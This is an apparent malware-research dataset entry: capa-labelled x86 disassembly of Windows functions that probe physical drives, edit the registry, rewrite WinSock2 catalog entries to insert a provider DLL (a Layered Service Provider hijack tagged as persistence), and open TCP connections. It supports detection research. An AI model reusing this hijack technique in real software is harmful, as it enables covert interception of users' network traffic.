joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4ca470
Capabilities:
Get storage device properties

Disassembly:
mov eax, 0x2820
call fcn.00500d50
mov eax, dword [esp + 0x2824]
push ebx
push esi
push edi
push eax
lea ecx, [esp + 0x20]
push str..PhysicalDrive_d
push ecx
call fcn.0050225b
add esp, 0xc
lea edx, [esp + 0x1c]
push 0
push 0
push 3
push 0
push 3
push 0
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x4ca61d
xor eax, eax
mov ecx, 0x9c4
mov dword [esp + 0x10], eax
lea edi, [esp + 0x11c]
mov dword [esp + 0x14], eax
mov ebx, dword [sym.imp.KERNEL32.dll_DeviceIoControl]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0xc]
push eax
push ecx
lea edx, [esp + 0x124]
mov dword [esp + 0x20], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
push 0x2710
push edx
lea eax, [esp + 0x20]
push 0xc
push eax
push 0x2d1400
push esi
mov dword [esp + 0x2c], 0
call ebx
test eax, eax
je 0x4ca61d
mov ecx, dword [esp + 0x283c]
mov edx, dword [esp + 0x128]
push ecx
push 0
lea eax, [esp + 0x124]
push edx
push eax
call fcn.004ca630
mov ecx, dword [esp + 0x2848]
mov edx, dword [esp + 0x13c]
push ecx
push 0
lea eax, [esp + 0x134]
push edx
push eax
call fcn.004ca630
mov ecx, dword [esp + 0x2860]
mov edx, dword [esp + 0x150]
push ecx
push 0
lea eax, [esp + 0x144]
push edx
push eax
call fcn.004ca630
mov ecx, dword [esp + 0x2864]
mov edx, dword [esp + 0x164]
push ecx
push 1
lea eax, [esp + 0x154]
push edx
push eax
call fcn.004ca630
mov ecx, dword [esp + 0x2884]
add esp, 0x40
xor eax, eax
lea edi, [esp + 0x11c]
mov dword [ecx], 1
mov ecx, 0x9c4
lea edx, [esp + 0xc]
push eax
rep stosd dword es:[edi], eax
push edx
lea eax, [esp + 0x124]
push 0x2710
push eax
push 0
push 0
push 0x700a0
push esi
call ebx
test eax, eax
je 0x4ca61d
mov edi, dword [esp + 0x124]
mov edx, dword [esp + 0x2848]
mov eax, dword [esp + 0x284c]
xor ecx, ecx
cmp edi, 0xc
push esi
setne cl
inc ecx
mov dword [edx], ecx
mov ecx, dword [esp + 0x138]
mov edx, dword [esp + 0x13c]
mov dword [eax], ecx
mov dword [eax + 4], edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x2820
ret
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x2820
ret

Function at 0x4cf5e0
Capabilities:
Query or enumerate registry value

Disassembly:
push ecx
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
lea eax, [esp]
mov dword [esp], 0
push eax
push 0x20019
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4cf63a
mov ecx, dword [esp + 0xc]
lea eax, [esp + 0x10]
push eax
mov eax, dword [esp + 0xc]
lea edx, [esp + 0x1c]
push ecx
mov ecx, dword [esp + 8]
push edx
push 0
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4cf63a
mov edx, dword [esp + 0x18]
mov eax, dword [esp + 0x1c]
cmp edx, eax
je 0x4cf64f
mov eax, dword [esp]
test eax, eax
je 0x4cf649
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop ecx
ret 0x18
mov eax, dword [esp]
test eax, eax
je 0x4cf65e
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
pop ecx
ret 0x18
Function at 0x4cf670
Capabilities:
Set registry value

Disassembly:
push ecx
mov edx, dword [esp + 0x18]
lea eax, [esp + 0x18]
lea ecx, [esp]
push eax
mov eax, dword [esp + 0x18]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push edx
push eax
mov dword [esp + 0x24], 0
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x4cf6c9
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0xc]
mov eax, dword [esp + 0x1c]
push ecx
mov ecx, dword [esp + 0xc]
push edx
mov edx, dword [esp + 8]
push eax
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x4cf6de
mov eax, dword [esp]
test eax, eax
je 0x4cf6d8
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop ecx
ret 0x18
mov eax, dword [esp]
test eax, eax
je 0x4cf6ed
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
pop ecx
ret 0x18

Function at 0x4cf700
Capabilities:
Delete registry key
Delete registry value

Disassembly:
push ecx
mov ecx, dword [esp + 8]
push esi
test ecx, ecx
mov dword [esp + 4], 0
je 0x4cf76b
mov eax, dword [esp + 0x10]
test eax, eax
je 0x4cf76b
mov esi, dword [esp + 0x14]
test esi, esi
jne 0x4cf734
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
neg eax
sbb eax, eax
pop esi
inc eax
pop ecx
ret 0xc
lea edx, [esp + 4]
push edx
push 0xf003f
push 0
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4cf75c
mov eax, dword [esp + 4]
push esi
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
je 0x4cf772
mov eax, dword [esp + 4]
test eax, eax
je 0x4cf76b
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop esi
pop ecx
ret 0xc
mov eax, dword [esp + 4]
test eax, eax
je 0x4cf781
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
pop esi
pop ecx
ret 0xc
Function at 0x4cf790
Capabilities:
Persist via windows service
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x398
mov eax, dword [esp + 0x39c]
push esi
test eax, eax
push edi
mov esi, ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0x378
je 0x4cf91b
mov ecx, dword [esp + 0x3a8]
test ecx, ecx
je 0x4cf91b
mov edi, dword [esp + 0x3ac]
test edi, edi
je 0x4cf91b
lea edx, [esp + 8]
push edx
push 0xf003f
push 0
push ecx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4cf91b
mov edx, dword [esp + 8]
lea eax, [esp + 0xc]
lea ecx, [esp + 0x28]
push eax
push ecx
push 0
push 0
push str.PackedCatalogItem
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4cf8dc
cmp dword [esp + 0xc], 0x378
jne 0x4cf8dc
lea eax, [esp + 0x28]
push eax
push edi
call fcn.00502a00
add esp, 8
test eax, eax
je 0x4cf8fc
cmp dword [esp + 0x154], 1
jne 0x4cf8fc
cmp dword [esp + 0x178], 2
jne 0x4cf8fc
mov ecx, dword [esp + 0x150]
lea edx, [esp + 0x10]
push ecx
push 0x86a6d0
push edx
call fcn.0050225b
mov eax, dword [esp + 0x18]
add esp, 0xc
lea ecx, [esp + 0x28]
lea edx, [esp + 0x10]
push 3
push str.SYSTEMCurrentControlSetServicesWinSock2ESPI11
push reloc.WS2_32.dll_bind
push eax
push ecx
push edx
mov ecx, esi
call fcn.004cf670
test eax, eax
je 0x4cf8dc
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x28]
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x28]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, dword [esp + 8]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0xc]
push ecx
push edx
push 3
push 0
push str.PackedCatalogItem
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x4cf8ef
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 8]
test eax, eax
je 0x4cf8e6
push eax
call esi
jmp 0x4cf8e2
mov eax, dword [esp + 0x3b0]
test eax, eax
je 0x4cf8fc
inc dword [eax]
mov eax, dword [esp + 8]
test eax, eax
je 0x4cf90b
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, 1
pop esi
add esp, 0x398
ret 0x10
pop edi
xor eax, eax
pop esi
add esp, 0x398
ret 0x10
Function at 0x4cf930
Capabilities:
Persist via windows service
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x39c
mov eax, dword [esp + 0x3a0]
push esi
push edi
mov edi, ecx
test eax, eax
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0x378
je 0x4cfa9c
mov ecx, dword [esp + 0x3ac]
test ecx, ecx
je 0x4cfa9c
mov edx, dword [esp + 0x3b0]
test edx, edx
je 0x4cfa9c
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea edx, [esp + 8]
push edx
push 0xf003f
push 0
push ecx
push eax
call esi
test eax, eax
jne 0x4cfa9c
mov edx, dword [esp + 8]
lea eax, [esp + 0x10]
lea ecx, [esp + 0x2c]
push eax
push ecx
push 0
push 0
push str.PackedCatalogItem
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4cfa80
cmp dword [esp + 0x10], 0x378
jne 0x4cfa80
cmp dword [esp + 0x158], 1
jne 0x4cfaa9
cmp dword [esp + 0x17c], 2
jne 0x4cfaa9
mov eax, dword [esp + 0x154]
lea ecx, [esp + 0x14]
push eax
push 0x86a6d0
push ecx
call fcn.0050225b
add esp, 0xc
lea edx, [esp + 0xc]
push edx
push 0x20019
push 0
push str.SYSTEMCurrentControlSetServicesWinSock2ESPI11
push reloc.WS2_32.dll_bind
call esi
test eax, eax
jne 0x4cfa80
mov ecx, dword [esp + 0xc]
lea eax, [esp + 0x14]
push eax
push ecx
mov ecx, edi
call fcn.004cfae0
test eax, eax
je 0x4cfa80
mov edx, dword [esp + 0x10]
push 3
push str.SYSTEMCurrentControlSetServicesWinSock2ESPI11
push reloc.WS2_32.dll_bind
lea eax, [esp + 0x38]
push edx
lea ecx, [esp + 0x24]
push eax
push ecx
mov ecx, edi
call fcn.004cf5e0
test eax, eax
je 0x4cfa80
mov edx, dword [esp + 0x10]
mov ecx, dword [esp + 8]
lea eax, [esp + 0x2c]
push edx
push eax
push 3
push 0
push str.PackedCatalogItem
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x4cfaa9
mov eax, dword [esp + 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
je 0x4cfa91
push eax
call esi
mov eax, dword [esp + 8]
test eax, eax
je 0x4cfa9c
push eax
call esi
pop edi
xor eax, eax
pop esi
add esp, 0x39c
ret 0xc
mov eax, dword [esp + 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
je 0x4cfaba
push eax
call esi
mov eax, dword [esp + 8]
test eax, eax
je 0x4cfac5
push eax
call esi
pop edi
mov eax, 1
pop esi
add esp, 0x39c
ret 0xc
Function at 0x4cfae0
Capabilities:
Query environment variable
Query or enumerate registry value

Disassembly:
sub esp, 0x480
mov ecx, dword [esp + 0x484]
mov dword [esp], 0x378
test ecx, ecx
je 0x4cfba1
mov eax, dword [esp + 0x488]
test eax, eax
je 0x4cfba1
lea edx, [esp]
push edx
lea edx, [esp + 0x10c]
push edx
push 0
push 0
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4cfba1
cmp dword [esp], 0x378
jne 0x4cfba1
lea eax, [esp + 4]
push 0x104
lea ecx, [esp + 0x10c]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
test eax, eax
je 0x4cfba1
lea edx, [esp + 4]
push edx
call fcn.004cf570
add esp, 4
test eax, eax
je 0x4cfba1
cmp dword [esp + 0x234], 1
jne 0x4cfb93
cmp dword [esp + 0x258], 2
jne 0x4cfb93
lea eax, [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x4cfba1
push str.WSPStartup
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4cfba1
mov eax, 1
add esp, 0x480
ret 8
xor eax, eax
add esp, 0x480
ret 8

Function at 0x4cfbb0
Capabilities:
Query environment variable

Disassembly:
sub esp, 0x104
push esi
mov esi, dword [esp + 0x10c]
test esi, esi
je 0x4cfc0f
push esi
call fcn.004cf570
add esp, 4
test eax, eax
je 0x4cfc0f
lea eax, [esp + 4]
push 0x104
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
test eax, eax
je 0x4cfc0f
lea ecx, [esp + 4]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x4cfc0f
push str.SetPara
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
neg eax
sbb eax, eax
pop esi
neg eax
add esp, 0x104
ret 4
xor eax, eax
pop esi
add esp, 0x104
ret 4
Function at 0x4cfca0
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x110
push ebx
push ebp
mov ebp, dword [esp + 0x11c]
push esi
xor esi, esi
push edi
cmp ebp, esi
mov ebx, ecx
mov dword [esp + 0x10], esi
mov dword [esp + 0x14], esi
mov dword [esp + 0x18], esi
jne 0x4cfcd4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x110
ret 4
push ebp
mov ecx, ebx
call fcn.004cfbb0
test eax, eax
jne 0x4cfced
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x110
ret 4
push ebp
mov ecx, ebx
call fcn.004cfc20
cmp eax, 1
je 0x4cfe7a
lea eax, [esp + 0x10]
push eax
push str.SYSTEMCurrentControlSetServicesWinSock2ParametersProtocol_Catalog9Catalog_Entries
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x4cfd26
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x110
ret 4
mov edx, dword [esp + 0x10]
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
lea ecx, [esp + 0x1c]
push 0x104
push ecx
push esi
push edx
call edi
test eax, eax
jne 0x4cfda2
mov edx, dword [esp + 0x10]
lea eax, [esp + 0x14]
lea ecx, [esp + 0x1c]
push eax
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x4cfe22
mov eax, dword [esp + 0x14]
push str.PackedCatalogItem
push eax
mov ecx, ebx
call fcn.004cfae0
mov ecx, dword [esp + 0x14]
test eax, eax
push ecx
je 0x4cfe39
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x1c]
inc esi
push 0x104
push edx
push esi
push eax
mov dword [esp + 0x24], 0
call edi
test eax, eax
je 0x4cfd42
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x1c]
xor esi, esi
push 0x104
push edx
push esi
push eax
mov dword [esp + 0x28], esi
call edi
test eax, eax
jne 0x4cfdf0
mov eax, dword [esp + 0x10]
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x20]
push ebp
push edx
push eax
mov ecx, ebx
call fcn.004cf790
test eax, eax
je 0x4cfe22
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x1c]
inc esi
push 0x104
push ecx
push esi
push edx
call edi
test eax, eax
je 0x4cfdbe
cmp dword [esp + 0x18], 1
jb 0x4cfe22
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
push 1
repne scasb al, byte es:[edi]
not ecx
push str.SYSTEMCurrentControlSetServicesWinSock2ESPI11
dec ecx
push reloc.WS2_32.dll_bind
push ecx
push ebp
push str.FileName
mov ecx, ebx
call fcn.004cf670
cmp eax, 1
je 0x4cfe6b
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x4cfe49
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x110
ret 4
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [esp + 0x14], 0
jmp 0x4cfe22
push ebp
mov ecx, ebx
call fcn.004cfe90
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x110
ret 4
mov eax, dword [esp + 0x10]
test eax, eax
je 0x4cfe7a
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x110
ret 4
Function at 0x4cfe90
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x10c
push ebp
mov ebp, dword [esp + 0x114]
push esi
xor esi, esi
push edi
cmp ebp, esi
mov edi, ecx
mov dword [esp + 0xc], esi
mov dword [esp + 0x10], 1
jne 0x4cfec2
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x10c
ret 4
push esi
mov ecx, edi
call fcn.004cfc20
test eax, eax
jne 0x4cfedf
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x10c
ret 4
lea eax, [esp + 0xc]
push eax
push str.SYSTEMCurrentControlSetServicesWinSock2ParametersProtocol_Catalog9Catalog_Entries
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x4cff06
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x10c
ret 4
mov edx, dword [esp + 0xc]
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
lea ecx, [esp + 0x18]
push 0x104
push ecx
push esi
push edx
call ebx
test eax, eax
jne 0x4cff54
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x18]
push ebp
push eax
push ecx
mov ecx, edi
call fcn.004cf930
test eax, eax
jne 0x4cff3d
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x18]
inc esi
push 0x104
push edx
push esi
push eax
call ebx
test eax, eax
je 0x4cff23
push 0
push str.SYSTEMCurrentControlSetServicesWinSock2ESPI11
push reloc.WS2_32.dll_bind
mov ecx, edi
call fcn.004cf700
mov eax, dword [esp + 0x10]
pop ebx
test eax, eax
je 0x4cff77
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
add esp, 0x10c
ret 4

Function at 0x4d20d0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x5252c8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
push esi
mov esi, ecx
lea ecx, [esp + 4]
call fcn.004d1cb0
mov eax, dword [esp + 0x24]
lea ecx, [esp + 4]
push eax
mov dword [esp + 0x20], 0
call fcn.004d1d20
mov ecx, dword [esp + 0x30]
mov edx, dword [esp + 0x2c]
mov eax, dword [esp + 0x28]
push ecx
push edx
lea ecx, [esp + 0xc]
push eax
push ecx
mov ecx, esi
call fcn.004d2000
lea ecx, [esp + 4]
mov esi, eax
mov dword [esp + 0x1c], 0xffffffff
call fcn.004d1cd0
mov ecx, dword [esp + 0x14]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x1c
ret 0x10

Function at 0x4d20e8
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x5252c8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
push esi
mov esi, ecx
lea ecx, [esp + 4]
call fcn.004d1cb0
mov eax, dword [esp + 0x24]
lea ecx, [esp + 4]
push eax
mov dword [esp + 0x20], 0
call fcn.004d1d20
mov ecx, dword [esp + 0x30]
mov edx, dword [esp + 0x2c]
mov eax, dword [esp + 0x28]
push ecx
push edx
lea ecx, [esp + 0xc]
push eax
push ecx
mov ecx, esi
call fcn.004d2000
lea ecx, [esp + 4]
mov esi, eax
mov dword [esp + 0x1c], 0xffffffff
call fcn.004d1cd0
mov ecx, dword [esp + 0x14]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x1c
ret 0x10
Function at 0x4d49a0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov ecx, dword [esp + 8]
test ecx, ecx
jne 0x4d49ab
xor eax, eax
ret
mov eax, dword [esp + 4]
push ebx
push esi
mov esi, dword [esp + 0x14]
cmp esi, 8
not eax
jb 0x4d4aae
push edi
mov edi, esi
shr edi, 3
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
mov ebx, eax
shr ebx, 8
mov eax, dword [edx*4 + 0x83cfc4]
sub esi, 8
xor eax, ebx
inc ecx
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x83cfc4]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x83cfc4]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x83cfc4]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x83cfc4]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x83cfc4]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x83cfc4]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
shr eax, 8
mov edx, dword [edx*4 + 0x83cfc4]
xor eax, edx
inc ecx
dec edi
jne 0x4d49c6
pop edi
test esi, esi
je 0x4d4ad0
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
shr eax, 8
mov edx, dword [edx*4 + 0x83cfc4]
xor eax, edx
inc ecx
dec esi
jne 0x4d4ab2
pop esi
pop ebx
not eax
ret

Function at 0x4d5290
Capabilities:
Read file on windows

Disassembly:
push ebx
mov ebx, dword [esp + 0x14]
push ebp
mov ebp, dword [esp + 0x10]
mov cl, byte [ebx]
mov eax, ebp
imul eax, dword [esp + 0x14]
test cl, cl
je 0x4d52d1
mov edx, dword [esp + 0xc]
lea ecx, [esp + 0xc]
push 0
push ecx
push eax
mov eax, dword [ebx + 4]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x4d52c6
mov byte [ebx + 8], 1
mov eax, dword [esp + 0xc]
xor edx, edx
div ebp
pop ebp
pop ebx
ret
mov edx, dword [ebx + 0x18]
mov ecx, dword [ebx + 0x14]
push esi
push edi
lea esi, [edx + eax]
cmp esi, ecx
jbe 0x4d52e4
sub ecx, edx
mov eax, ecx
mov esi, dword [ebx + 0x10]
mov edi, dword [esp + 0x14]
mov ecx, eax
add esi, edx
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
xor edx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebx + 0x18]
pop edi
add ecx, eax
pop esi
div ebp
mov dword [ebx + 0x18], ecx
pop ebp
pop ebx
ret
Function at 0x4da900
Capabilities:
Terminate process

Disassembly:
push ecx
push ebx
push ebp
push esi
push 0x800
call fcn.00501057
mov esi, dword [esp + 0x18]
add esp, 4
mov edx, eax
xor ebp, ebp
test esi, esi
mov dword [esp + 0xc], edx
jne 0x4da928
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
push edi
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
pop edi
cmp ecx, 0x800
jbe 0x4da943
pop esi
pop ebp
pop ebx
pop ecx
ret
mov al, byte [esi]
inc esi
test al, al
je 0x4daa19
cmp ebp, 0x400
je 0x4daa04
cmp al, 0x25
jne 0x4da9e3
mov al, byte [esi]
inc esi
test al, al
je 0x4da9fc
mov cl, byte [esi]
inc esi
test cl, cl
mov byte [esp + 0x14], cl
je 0x4da9fc
movsx eax, al
push eax
call fcn.00502869
movsx ecx, byte [esp + 0x18]
push ecx
mov bl, al
call fcn.00502869
movsx edx, bl
push edx
mov byte [esp + 0x20], al
call fcn.005003e5
add esp, 0xc
test eax, eax
je 0x4daa12
movsx eax, byte [esp + 0x14]
push eax
call fcn.005003e5
add esp, 4
test eax, eax
je 0x4daa12
cmp bl, 0x39
jg 0x4da9c2
add bl, 0xd0
jmp 0x4da9c5
add bl, 0xa9
mov al, byte [esp + 0x14]
cmp al, 0x39
jg 0x4da9d1
add al, 0xd0
jmp 0x4da9d3
add al, 0xa9
mov ecx, dword [esp + 0xc]
shl bl, 4
add bl, al
mov edx, ecx
mov byte [ecx + ebp], bl
jmp 0x4da9f0
cmp al, 0x2b
jne 0x4da9ed
mov byte [edx + ebp], 0x20
jmp 0x4da9f0
mov byte [edx + ebp], al
mov al, byte [esi]
inc ebp
inc esi
test al, al
jne 0x4da94e
cmp ebp, 0x400
jne 0x4daa19
pop esi
pop ebp
mov byte [edx + 0x3ff], 0
mov eax, edx
pop ebx
pop ecx
ret
push 0
call fcn.00503240
mov byte [edx + ebp], 0
pop esi
pop ebp
mov eax, edx
pop ebx
pop ecx
ret

Function at 0x4de440
Capabilities:
Set socket configuration

Disassembly:
push ecx
mov ecx, dword [esp + 8]
lea eax, [esp]
push eax
push 0x8004667e
push ecx
mov dword [esp + 0xc], 0
call sub.WS2_32.dll_ioctlsocket
xor edx, edx
cmp eax, 0xffffffff
setne dl
mov eax, edx
pop ecx
ret

Function at 0x4de470
Capabilities:
Set socket configuration

Disassembly:
push ecx
mov ecx, dword [esp + 8]
lea eax, [esp]
push eax
push 0x8004667e
push ecx
mov dword [esp + 0xc], 1
call sub.WS2_32.dll_ioctlsocket
xor edx, edx
cmp eax, 0xffffffff
setne dl
mov eax, edx
pop ecx
ret

Function at 0x4de4a0
Capabilities:
Create tcp socket
Initialize winsock library

Disassembly:
sub esp, 0x190
lea eax, [esp]
push eax
push 1
call sub.WS2_32.dll_WSAStartup
test eax, eax
je 0x4de4c0
or eax, 0xffffffff
add esp, 0x190
ret
push 6
push 1
push 2
call sub.WS2_32.dll_socket
add esp, 0x190
ret
Function at 0x4de4f0
Capabilities:
Connect socket
Get socket status

Disassembly:
sub esp, 0x228
push esi
mov esi, dword [esp + 0x234]
test esi, esi
je 0x4de6de
mov ecx, dword [esp + 0x23c]
mov eax, 0x66666667
imul ecx
sar edx, 2
mov eax, edx
push ebx
shr eax, 0x1f
add edx, eax
push edi
test edx, edx
mov edi, 1
mov dword [esp + 0xc], edx
jg 0x4de531
mov dword [esp + 0xc], edi
xor ecx, ecx
push esi
mov dword [esp + 0x18], ecx
mov word [esp + 0x18], 2
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], ecx
call sub.WS2_32.dll_inet_addr
mov edx, dword [esp + 0x240]
mov dword [esp + 0x18], eax
push edx
call sub.WS2_32.dll_htons
mov esi, dword [esp + 0x238]
mov word [esp + 0x16], ax
push esi
call fcn.004de470
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetTickCount]
lea eax, [esp + 0x14]
push 0x10
push eax
push esi
call sub.WS2_32.dll_connect
test eax, eax
jge 0x4de6c7
call fcn.004de0e0
push eax
call fcn.004de6f0
add esp, 4
cmp eax, 0xffffd8cd
je 0x4de5c4
cmp eax, 0xffffd8cc
je 0x4de5c4
push esi
mov edi, eax
call fcn.004de440
add esp, 4
mov eax, edi
pop edi
pop ebx
pop esi
add esp, 0x228
ret
mov eax, dword [esp + 0xc]
mov dword [esp + 0x10], 0
test eax, eax
jle 0x4de679
lea ebx, [esi + 1]
lea ecx, [esp + 0x24]
lea edx, [esp + 0x2c]
push ecx
push 0
lea eax, [esp + 0x138]
push edx
push eax
push ebx
mov dword [esp + 0x44], esi
mov dword [esp + 0x40], edi
mov dword [esp + 0x148], esi
mov dword [esp + 0x144], edi
mov dword [esp + 0x38], 0
mov dword [esp + 0x3c], 0x2710
call sub.WS2_32.dll_select
cmp eax, 0xffffffff
je 0x4de6ad
lea ecx, [esp + 0x2c]
push ecx
push esi
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
jne 0x4de6c7
lea edx, [esp + 0x130]
push edx
push esi
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
jne 0x4de6c7
mov ecx, dword [esp + 0x248]
mov eax, dword [esp + 0x24c]
cmp dword [ecx], eax
je 0x4de693
call fcn.004de0e0
test eax, eax
jne 0x4de6ad
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0xc]
inc eax
cmp eax, ecx
mov dword [esp + 0x10], eax
jl 0x4de5db
push esi
mov edi, 0xfffffff5
call fcn.004de440
add esp, 4
mov eax, edi
pop edi
pop ebx
pop esi
add esp, 0x228
ret
push esi
mov edi, 0xffffffec
call fcn.004de440
